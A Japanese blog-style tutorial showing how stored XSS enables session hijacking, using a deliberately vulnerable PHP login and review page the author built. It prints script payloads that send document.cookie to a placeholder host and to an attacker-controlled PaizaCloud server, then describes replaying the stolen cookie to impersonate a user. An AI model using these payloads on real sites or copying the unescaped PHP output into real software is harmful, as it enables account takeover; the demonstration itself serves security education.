クロスサイトスクリプティングでセッションハイジャックする

#目的
XSSは危ない！とはよく聞くけど、具体的にどう危ないのかを示す記事が少なかったので。

#前提
* くっそ脆弱なWebアプリケーションを組んで試します。実際はそんなわけないだろうとか、そのへんはゆるして！
* XSS自体の説明とかは省くので、そのへんもゆるして！


#やったこと
##お粗末なWebアプリを用意する
お粗末なWebアプリとして、[ログイン画面]→[ようこそ画面兼レビュー投稿画面]みたいな簡単なものを作ります。

###サーバ環境を整える
今回は<a href="https://paiza.cloud/ja/">PaizaCloud</a>さんのサービスを利用します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/495652/401b36b7-6d0a-2d4c-3cf6-418ddd51e6eb.png)
PHPだけインストールしておきます。

###ログイン画面を作る
できたら、index.phpで簡易なログイン画面を作ります。

```php5:index.php
<?php
  echo "<h1>Hello " . "PHP</h1>";
?>

<html>
    <form action="welcome.php" method="post">
        <input type="text" name="username" placeholder="username">
        <input type="password" name="password" placeholder="password">
        <input type="submit" value="login">
    </form>   
</html>
```
PaizaCloudの左側の「ブラウザ」ボタンをクリックすると内部ブラウザが立ち上がるので、index.phpへのURLを入力してみます。
今回の私の環境だとこんな感じ。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/495652/80f30d4f-a3b0-29f8-3602-20e58899068e.png)

###ログイン後のようこそ画面兼レビュー投稿兼レビュー内容表示画面を作る
とりあえずファイル名はwelcome.phpとしてみます。
デザインもへったくれもありませんが、検証なので許してください。

```php5:welcome.php
<?php

session_start();

if((isset($_POST['username']) & isset($_POST['password']))
    && $_POST['username'] != ""){
    $_SESSION['username'] = $_POST['username'];
}

if(isset($_SESSION['username']) && $_SESSION['username'] != ""){
    echo("ようこそ、".$_SESSION['username']."さん");   
?>

<hr>
<h1>レビュー投稿</h1>
<form action="dummy" method="post">
    <textarea rows=5 cols=40></textarea>    
    <input type="submit" value="投稿">
</form>
<h1>レビュー一覧</h1>
<hr>
・ほげほげ
<hr>
・ふがふが
<hr>

<?php
}else{
    echo("先にログインしてください");
}
?>

<br>
<a href="index.php">戻る</a>
```

処理の流れはこんな感じです。
・セッションを開始する
・リクエストパラメータにusernameとpasswordが設定されているか確認する
・設定されていれば、ユーザ名をセッションに保存する（ユーザ認証などはとりあえず省略）
・セッションにusernameが保存されていれば、「ようこそ◯◯さん」と表示し、レビュー投稿画面と投稿済みレビュー一覧を表示する
・保存されていなければ、「先にログインしてください」と表示する

本当なら、レビュー一覧はDBから拾ってきた値とかにしたかったんですが、面倒だったのでとりあえず静的な情報を表示するのみにしておきます。

これで、ログインできればこんな感じに表示されます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/495652/4e554ef2-c736-3a96-1998-3a23954ac652.png)


ログインできなければ、こんな感じです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/495652/e136dcb8-1801-5588-b1de-8df9310e2f2e.png)


##悪意のあるユーザが不適切な書き込みをしたと想定する
悪いユーザが仮にログインしたとして、悪い書き込みをしたとします。
書き込み内容はこんな感じ。

```js
<script>alert(document.cookie)</script>
```

本当ならここで実際に書き込みたいところですが、面倒なのでソースを直接編集して、書き込まれた内容が表示されている、という想定でいきます。

```php5:welcome.php
<?php

session_start();

if((isset($_POST['username']) & isset($_POST['password']))
    && $_POST['username'] != ""){
    $_SESSION['username'] = $_POST['username'];
}

if(isset($_SESSION['username']) && $_SESSION['username'] != ""){
    echo("ようこそ、".$_SESSION['username']."さん");   
?>

<hr>
<h1>レビュー投稿</h1>
<form action="dummy" method="post">
    <textarea rows=5 cols=40></textarea>    
    <input type="submit" value="投稿">
</form>
<h1>レビュー一覧</h1>
<hr>
・ほげほげ
<hr>
・ふがふが
<hr>
・<script>alert(document.cookie)</script>
<hr>

<?php
}else{
    echo("先にログインしてください");
}
?>

<br>
<a href="index.php">戻る</a>
```

正常なユーザがログインしてこのページを見た場合、こんな表示になります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/495652/05850629-3d1a-ca0a-fabf-855600a0a984.png)


確かにセッションIDが抜き出されていますが、これを見ているユーザは正常なユーザなので、攻撃者にとってメリットはなく、ただのいたずら止まりです。

では、こうだったらどうでしょう。

```js
<script>
window.location="https://hogehoge.com?"+document.cookie;</script>
```
このコードは、正常なユーザのクッキー情報を抜き出して、特定のサーバへGETで送信するものです。
このスクリプトが含まれているページを踏んだ瞬間、実行されるイメージです。

実際にやってみたいと思います。

##抜き出したクッキー情報を受け取るWebサーバを立てる
今度は、悪い奴が抜き出したクッキー情報を受け取るための悪いWebサーバを作ります。
またもやPaizaCloudで、別アカウントを使って試してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/495652/adc04247-59a4-e0cc-68c1-fcf7811cb701.png)

今度も構成は同じです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/495652/5a4eadc6-5ce3-705f-da7a-6851b404d90d.png)

一応Webサーバは立ったので、不正に取得したクッキー情報をこのWebサーバに、GETで投げるようにしておきます。
この場合はこんな感じになります。

```
<script>
window.location="https://localhost-bowtin-badguy1.paiza-user.cloud/~ubuntu/index.php?"+document.cookie;</script>
```

さて、こんなレビューがレビュー一覧に埋め込まれたと想定して、再度脆弱なWebサーバのソースを書き換えます。

```php5:welcome.php
<?php

session_start();

if((isset($_POST['username']) & isset($_POST['password']))
    && $_POST['username'] != ""){
    $_SESSION['username'] = $_POST['username'];
}

if(isset($_SESSION['username']) && $_SESSION['username'] != ""){
    echo("ようこそ、".$_SESSION['username']."さん");   
?>

<hr>
<h1>レビュー投稿</h1>
<form action="dummy" method="post">
    <textarea rows=5 cols=40></textarea>    
    <input type="submit" value="投稿">
</form>
<h1>レビュー一覧</h1>
<hr>
・ほげほげ
<hr>
・ふがふが
<hr>
・<script>
window.location="https://localhost-bowtin-badguy1.paiza-user.cloud/~ubuntu/index.php?"+document.cookie;</script>
<hr>

<?php
}else{
    echo("先にログインしてください");
}
?>

<br>
<a href="index.php">戻る</a>

```


さて、正常なユーザが再度このページを踏んだとします。
ブラウザがスクリプトが見つけて実行するとき、クッキー情報を抜き出して指定したWebサーバにGETで送りつけます。
では、悪い奴が立てたWebサーバのアクセスログを見てみましょう。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/495652/d4cfd054-e3be-be41-1d38-1d000c396607.png)

思いっきり来てました。
これでセッションIDが入手できたので、悪いユーザ自身が自分のクッキーを書き換えてリクエストを投げつければ、成り代わることができてしまうというわけであります。
自分のクッキーを書き換えるツールは、Chromeの拡張機能のEditThisCookie等が便利かと思います。

長くなってきたのでまとめに移ります。

#まとめ
* XSSが危ないという話はよく聞くけど、結局何が危ないのか？
* 例えばセッションハイジャックを行うことができる
* セッションハイジャックが行われると、そのユーザに成り代わってしまうことができる
* セッションハイジャックはXSSにおいて起こりうる脅威の一部でしかない